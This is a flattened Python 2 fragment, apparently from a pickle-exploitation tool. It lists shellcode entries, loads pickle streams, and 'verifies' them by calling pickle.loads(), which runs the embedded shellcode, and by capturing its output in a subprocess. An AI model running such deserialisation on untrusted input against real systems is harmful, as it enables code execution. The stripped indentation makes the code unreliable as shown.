out += "\t"+entry["name"]+" ("+str(len(entry["shellcode"]))+" bytes)"+" -- "+entry["description"]+"\n"
out += "\t\treturn:\n\t\t\t"+str(ret_type)+"\n"
out += "\t\tparams :\n"
for p in entry["parameters"]:
out += "\t\t\t"+p["name"]+" ("+str(p["type"]) + "), e.g. "+p["eg"]+"\n"
out += "\n"
return out
def print_shellcodes_and_exit(self):
print(self.format_shellcodes())
print(self.format_wrappers())
exit(1)
def load_pickle_from_console(self):
dprint ("Loading pickle from console paste")
try:
self.picklestream = sys.stdin.readline()
while self.picklestream[-2:]!= '.\n':
self.picklestream += sys.stdin.readline()
if self.base64:
self.picklestream = base64.b64decode(self.picklestream)
self.anapickle.picklestream = self.picklestream
except IOError, e:
eprint("Error reading console paste : "+Ex.geterr(e))
sys.exit(1)
except KeyboardInterrupt, e:
eprint("Exiting...")
sys.exit(1)
def load_pickle_from_file(self, filename):
dprint ("Loading pickle from "+filename)
try:
if filename == "-":
f = sys.stdin
else:
f = open(filename)
self.picklestream = "".join(f.readlines())
f.close()
if self.base64:
self.picklestream = base64.b64decode(self.picklestream)
self.anapickle.picklestream = self.picklestream
except IOError, e:
eprint("Error opening file "+filename+": "+Ex.geterr(e))
sys.exit(1)
def verify_pickle(self, picklestream):
print("")
print("\nVerifying pickle using 2 tests:\n")
dprint("verifying stream:\n"+picklestream)
#save output stream
# saved_output = sys.stdout
# sys.stdout = CaptureStream(self.capture_output)
# sys.stderr = CaptureStream(self.capture_output)
# dprint("Output captured")
#try to load it
test1_passed = False
test2_passed = False
try:
print("Test 1: pickle.loads()")
iprint("Calling pickle.loads()")
ret = pickle.loads(picklestream)
print("")
iprint("pickle.loads() returned")
print("Test 1 passed!")
test1_passed = True
print("\tReconstructed object is a "+str(type(ret)))
vprint("\tReconstructed object : "+repr(ret))
except ValueError, e:
print("Test 1 failed :(")
eprint("Pickle had ValueErrors: "+Ex.geterr(e))
print("\tCould NOT reconstruct object")
dprint(repr(picklestream))
except AttributeError, e:
print("Test 1 failed :(")
eprint("Pickle had AttributeError: "+Ex.geterr(e))
print("\tCould NOT reconstruct object")
dprint(repr(picklestream))
except subprocess.CalledProcessError, e:
eprint("Process in shellcode returned non-zero. This may not be a bad thing")
eprint("Check that any files or commands used in the shellcode exist")
except OSError, e:
print("Test 1 failed :(")
eprint("Shellcode produce an OS-level error: "+Ex.geterr(e))
eprint("Check that any files or commands used in the shellcode exist")
except Exception, e:
eprint("Unknown exception in loads() :"+repr(e))
#now determine whether the pickle produces content on either stdout or stderr
dprint("Writing picklestream to temp file")
(fd, path) = tempfile.mkstemp()
os.write(fd, picklestream)
os.close(fd)
try:
print("Test 2: Capturing stdout/stderr")
vprint("calling into python subprocess")
p = subprocess.Popen([sys.executable,'verifier.py',path],bufsize=0, executable=None, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
print("Test 2 passed!")
test2_passed = True
except subprocess.CalledProcessError, e:
print("Test 2 failed :(")
eprint("Error in capturing process output: "+Ex.geterr(e))
stdout = p.stdout.readlines()
stderr = p.stderr.readlines()
if len(stdout) > 0:
iprint("Shellcode prints to stdout")
vprint("Captured stdout:\n"+("".join(stdout)))
print("\tShellcode produces output on stdout: \n\t\t"+("\t\t".join(stdout)))
if len(stderr) > 0:
iprint("Shellcode prints to stderr")
vprint("Captured stderr:\n"+("".join(stderr)))
print("\tShellcode produces output on stderr: \n\t\t"+("\t\t".join(stderr)))
if not (test1_passed and test2_passed):
print("Verification failed")
os.remove(path)